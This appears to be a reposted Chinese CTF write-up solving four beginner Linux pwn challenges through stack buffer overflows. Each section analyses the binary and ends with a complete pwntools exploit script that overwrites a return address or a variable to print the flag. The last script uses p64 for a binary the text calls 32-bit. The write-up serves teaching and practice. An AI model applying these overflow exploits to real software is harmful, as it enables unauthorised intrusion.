pwn入門系列習題解析(一)


本系列為i春秋論壇上Tangerine@SAINTSEC大神所寫的linux pwn入門系列相關習題的分析與解答。

原教程系列地址:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

 

1、csaw ctf 2016 quals-warmup

拿到題目,checksec分析保護情況

 

發現任何保護都未開啟(當然系統自帶的ASLR除外)。

file ./warmup命令查看文件格式

 

發現為64位動態鏈接的ELF程序,但是題目並沒有提供libc

丟進64ida中分析

 

main函數中發現函數sub_40060D很可疑,進入函數觀察

 

發現該函數是一個直接查看flag的程序,可以作為后門使用。

返回到main函數我們發現4write函數用於打印字符,sprintf函數用於將flag的值保存到s中,此函數存在棧溢出風險,但是此處並不溢出。在return函數出發現gets函數,此函數可以讀取任意字節的數據,存在溢出風險,並可以溢出到返回值。

現在我們需要計算輸入點到返回值之間的距離,有兩個方法。第一,通過ida分析可以看到存在棧溢出的v5位於[rbp-40h]處,rbp又位於返回值上方,那么ret則位於40+8=0x48,即輸入0x48個字節后+0x40060D即可跳轉到后門函數讀取flag的值。第二種方法通過gdbpeda插件,調試到輸入點之前通過pattern create xxx生成xxx個字符(該字符特點為任意4個字符一組不重復)

 

隨后,當到達輸入點時即將上述字符輸入,借着ni步過,直到ret

 

此處我們將棧頂的前4個字符復制(IAAe),然后通過pattern offset IAAe計算偏移為72,與上述相符。

因此,完整的exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./warmup')
 7 
 8 get_flag_addr = 0x40060d
 9 
10 payload = ''            
11 payload += 'A'*72
12 payload += p64(get_flag_addr)
13 
14 print io.recv()
15 io.sendline(payload)
16 print io.recv()

 

2、EasyCTF 2017-doubly_dangerous

拿到題目分析checksec安全措施,file查看文件類型

 

 

發現該函數開啟了NX保護(堆棧不可執行),文件格式為32位動態鏈接的ELF程序。

運行一下看看

 

發現需要提供一串字符串,然后返回nope!那么我們嘗試多輸入一些字符

 

發現發生了棧溢出!

因此,將其扔到32ida中分析。

 

觀察到有gets函數,必然存在溢出,可是在通過gets溢出時調試出錯,無法返回到后門函數中,因此換個思路。觀察到通過gets輸入一串字符串必須使得v5==11.28125來得到flag,此處我使用ida的遠程調試功能(關於ida遠程調試請看原帖第0節環境搭建)

 

此處位於輸入函數的下方,功能為進行比較,也就對應於上方的if語句。

 

通過比較可以發現實際比較的是ebp-0xC0x804876C處的值是否相等。

 

我們通過內存窗口按g跳轉到該地址出觀察得知值為0x41348000(注意存儲方式)。

最后,我們需要測試偏移,由於不是測試到返回值的偏移,因此不能使用上述方法。此時我們使用gdb調試輸入來探測偏移。

 

通過調試發現,我們的輸入位於棧頂保存的地址內,為0xffffd4cc,而此時$ebp-0xc處於0xffffd50c,我們可以計算偏移得0xffffd50c - 0xffffd4cc = 0x40,因此我們只需要輸入64個字符后接之前探測出的值0x41348000后即可得到flag

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./doubly_dangerous')
 7 
 8 payload = ''                    
 9 payload += 'A'*64
10 payload += p32(0x41348000)
11 
12 print io.recv()
13 io.sendline(payload)
14 print io.recv()
15 print io.recv()

 

3、sCTF 2016 q1-pwn1

拿到題目分析checksec安全措施,file查看文件類型

 

 

發現題目開啟NX保護,並且為32位動態鏈接的ELF程序。

嘗試運行

 

發現題目要求輸入一串字符串,然后反饋給你你輸入的字符串。

進入32ida分析

 

Main函數很簡單,進入函數vuln()

 

觀察變量和語句,發現可能存在溢出的地方為fgets,但是s在棧中距離ebp3C的距離,而fgets只能輸入32個字符,遠遠無法到達ebp或者ret。繼續往下看,發現replace函數,字面意思替換,又看到youI字符,猜想是否有可能將I替換成you字符,我們執行程序試一下

 

我們發現猜想正確。我們注意到函數最后有strcpy函數,他將v0即我們的輸入后替換的字符串保存到s中,由於我們輸入一個I實際上拷貝入s的是3個字符,3*32=96>0x3c,發生棧溢出。我們通過輸入21I另外加一個任意字符(因為21I21you,即為63個字符,需要額外一個字符填充到64字符)之后加上get_flag函數的地址即覆蓋函數返回值劫持成功。

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./pwn1')
 7 
 8 get_flag_addr = 0x08048f0d
 9 
10 payload = ''                    
11 payload += 'I'*21+'a'
12 payload += p32(get_flag_addr)
13 io.sendline(payload)
14 print io.recv()

 

4、Tokyo West CTF 3rd 2017-just_do_it

拿到題目分析checksec安全措施,file查看文件類型

 

發現開啟了NX保護,文件類型為32位動態鏈接的ELF文件。

嘗試運行程序,發現會讓你輸入密碼,隨意輸入一組字符串返回密碼不正確,然后程序結束。

 

進入32ida分析

 

我們觀察到程序流程大概是將flag讀取並保存到一個全局變量中,在程序最后比較輸入,正確則打印正確否則打印錯誤。我們觀察s位於[ebp-0x20]處,輸入的fgets最多輸入32個字符,無法覆蓋到ret。但是我們發現puts所打印的參數v6位於[ebp-Ch]相距輸入點s只有20字符就可以覆蓋到。又由於程序將flag讀取到了全局變量中,因此可以通過輸入覆蓋v6flag從而打印出flag

完整exp如下:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 
 4 from pwn import *
 5 
 6 io = process('./just_do_it')
 7 
 8 flag_addr = 0x0804A080
 9 
10 payload = ''                    
11 payload += 'A'*20
12 payload += p64(flag_addr)
13 print io.recv()
14 io.sendline(payload)
15 print io.recv()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM